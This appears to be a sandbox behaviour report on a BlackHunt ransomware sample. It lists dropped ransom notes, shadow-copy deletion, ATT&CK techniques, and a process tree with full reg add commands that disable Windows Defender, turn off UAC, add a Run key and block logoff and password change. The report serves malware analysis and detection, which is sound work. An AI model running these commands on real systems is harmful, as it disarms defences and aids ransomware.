File opened for modification	C:\Program Files\7-Zip\History.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.hta	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_Private.key	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2160	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3032	vssadmin.exe
2384	vssadmin.exe
1384	vssadmin.exe
1380	vssadmin.exe
2468	vssadmin.exe
2748	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1760	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2776	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2120	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeRestorePrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeBackupPrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeTakeOwnershipPrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeAuditPrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeSecurityPrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeIncBasePriorityPrivilege	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Token: SeBackupPrivilege	2532	vssvc.exe
Token: SeRestorePrivilege	2532	vssvc.exe
Token: SeAuditPrivilege	2532	vssvc.exe
Token: SeBackupPrivilege	2672	wbengine.exe
Token: SeRestorePrivilege	2672	wbengine.exe
Token: SeSecurityPrivilege	2672	wbengine.exe
Token: SeSecurityPrivilege	588	wevtutil.exe
Token: SeSecurityPrivilege	1808	wevtutil.exe
Token: SeBackupPrivilege	588	wevtutil.exe
Token: SeBackupPrivilege	1808	wevtutil.exe
Token: SeSecurityPrivilege	2876	wevtutil.exe
Token: SeBackupPrivilege	2876	wevtutil.exe
Token: SeSecurityPrivilege	2156	wevtutil.exe
Token: SeBackupPrivilege	2156	wevtutil.exe
Token: SeSecurityPrivilege	2948	wevtutil.exe
Token: SeBackupPrivilege	2948	wevtutil.exe
Token: SeDebugPrivilege	1760	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 1744	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	29
PID 2312 wrote to memory of 1744	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	29
PID 2312 wrote to memory of 1744	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	29
PID 2312 wrote to memory of 1744	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	29
PID 2312 wrote to memory of 2668	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	30
PID 2312 wrote to memory of 2668	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	30
PID 2312 wrote to memory of 2668	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	30
PID 2312 wrote to memory of 2668	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	30
PID 2312 wrote to memory of 2664	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	33
PID 2312 wrote to memory of 2664	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	33
PID 2312 wrote to memory of 2664	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	33
PID 2312 wrote to memory of 2664	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	33
PID 2312 wrote to memory of 2824	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	35
PID 2312 wrote to memory of 2824	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	35
PID 2312 wrote to memory of 2824	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	35
PID 2312 wrote to memory of 2824	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	35
PID 2312 wrote to memory of 2828	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	36
PID 2312 wrote to memory of 2828	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	36
PID 2312 wrote to memory of 2828	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	36
PID 2312 wrote to memory of 2828	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	36
PID 2312 wrote to memory of 2840	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	39
PID 2312 wrote to memory of 2840	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	39
PID 2312 wrote to memory of 2840	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	39
PID 2312 wrote to memory of 2840	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	39
PID 2312 wrote to memory of 2308	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	40
PID 2312 wrote to memory of 2308	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	40
PID 2312 wrote to memory of 2308	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	40
PID 2312 wrote to memory of 2308	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	40
PID 2312 wrote to memory of 2852	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	42
PID 2312 wrote to memory of 2852	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	42
PID 2312 wrote to memory of 2852	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	42
PID 2312 wrote to memory of 2852	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	42
PID 2312 wrote to memory of 2592	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	44
PID 2312 wrote to memory of 2592	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	44
PID 2312 wrote to memory of 2592	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	44
PID 2312 wrote to memory of 2592	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	44
PID 2668 wrote to memory of 2884	2668	cmd.exe	45
PID 2668 wrote to memory of 2884	2668	cmd.exe	45
PID 2668 wrote to memory of 2884	2668	cmd.exe	45
PID 2312 wrote to memory of 2648	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	46
PID 2312 wrote to memory of 2648	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	46
PID 2312 wrote to memory of 2648	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	46
PID 2312 wrote to memory of 2648	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	46
PID 2312 wrote to memory of 2896	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	47
PID 2312 wrote to memory of 2896	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	47
PID 2312 wrote to memory of 2896	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	47
PID 2312 wrote to memory of 2896	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	47
PID 2312 wrote to memory of 2596	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	48
PID 2312 wrote to memory of 2596	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	48
PID 2312 wrote to memory of 2596	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	48
PID 2312 wrote to memory of 2596	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	48
PID 2312 wrote to memory of 2192	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	49
PID 2312 wrote to memory of 2192	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	49
PID 2312 wrote to memory of 2192	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	49
PID 2312 wrote to memory of 2192	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	49
PID 2828 wrote to memory of 2724	2828	cmd.exe	50
PID 2828 wrote to memory of 2724	2828	cmd.exe	50
PID 2828 wrote to memory of 2724	2828	cmd.exe	50
PID 2312 wrote to memory of 2672	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	51
PID 2312 wrote to memory of 2672	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	51
PID 2312 wrote to memory of 2672	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	51
PID 2312 wrote to memory of 2672	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	51
PID 2312 wrote to memory of 2612	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	52
PID 2312 wrote to memory of 2612	2312	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe	52

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe
"C:\Users\Admin\AppData\Local\Temp\36379060ac7ac91be901ea5dea1e13640d1b6a5720baf4f1ea0d8fd3041458e4.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
